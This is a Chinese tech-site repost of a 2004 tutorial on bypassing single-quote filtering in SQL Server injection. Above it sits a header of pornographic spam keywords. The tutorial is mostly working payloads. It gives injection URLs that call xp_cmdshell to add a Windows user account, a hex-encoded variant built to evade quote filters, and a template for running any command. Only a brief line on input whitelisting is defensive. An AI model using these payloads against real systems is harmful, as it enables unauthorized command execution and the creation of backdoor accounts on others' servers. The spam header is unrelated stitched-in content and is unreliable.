日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

饶过'(单引号)限制继续射入

發布時間:2023/12/20 编程问答 37 豆豆
生活随笔 收集整理的這篇文章主要介紹了 饶过'(单引号)限制继续射入 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
本文作者:angel
文章性質:原創
發布日期:2004-04-02
  我想不少人都看過一些關于SQL Injection針對SQL Server攻擊的文章,都是因為變量過濾不足甚至沒有過濾而構造畸形SQL語句注入的,包括我寫的那篇《SQL Injection的實現與應用》也是這樣的例子,因為沒有碰到任何的過濾,所以使我們相當輕松就注入成功了,如下:

http://www.ilikeplmm.com/show.asp?id=1;exec master.dbo.xp_cmdshell 'net user angel pass /add';--


  這往往給大家造成誤解,認為只要變量過濾了'就可以防止SQL Injection攻擊,這種意識為大量程序可以注入埋下禍根,其實僅僅過濾'是不夠的,在'被過濾的情況下我們照樣玩,看下面語句:

http://www.ilikeplmm.com/show.asp?id=1;declare%20@a%20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--


  是不是跟上面的那句有很大區別?可是效果完全是一樣的。其實這些都是SQL語句。

0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400


  這句是“net user angel pass /add”的16進制格式。了解SQL的朋友就容易明白,先聲明一個變量a,然后把我們的指令賦值給a,然后調用變量a最終執行我們輸入的命令。變量a可以是任何命令。如下:

declare @a sysname
select @a=<command>
exec master.dbo.xp_cmdshell @a


解決辦法:

  過濾變量,限制只允許輸入特定字符。比如對于數字類型的變量就限制只能輸入數字類型的數據。具體就不說了。這完全是程序作者自由發揮了。

總結

以上是生活随笔為你收集整理的饶过'(单引号)限制继续射入的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。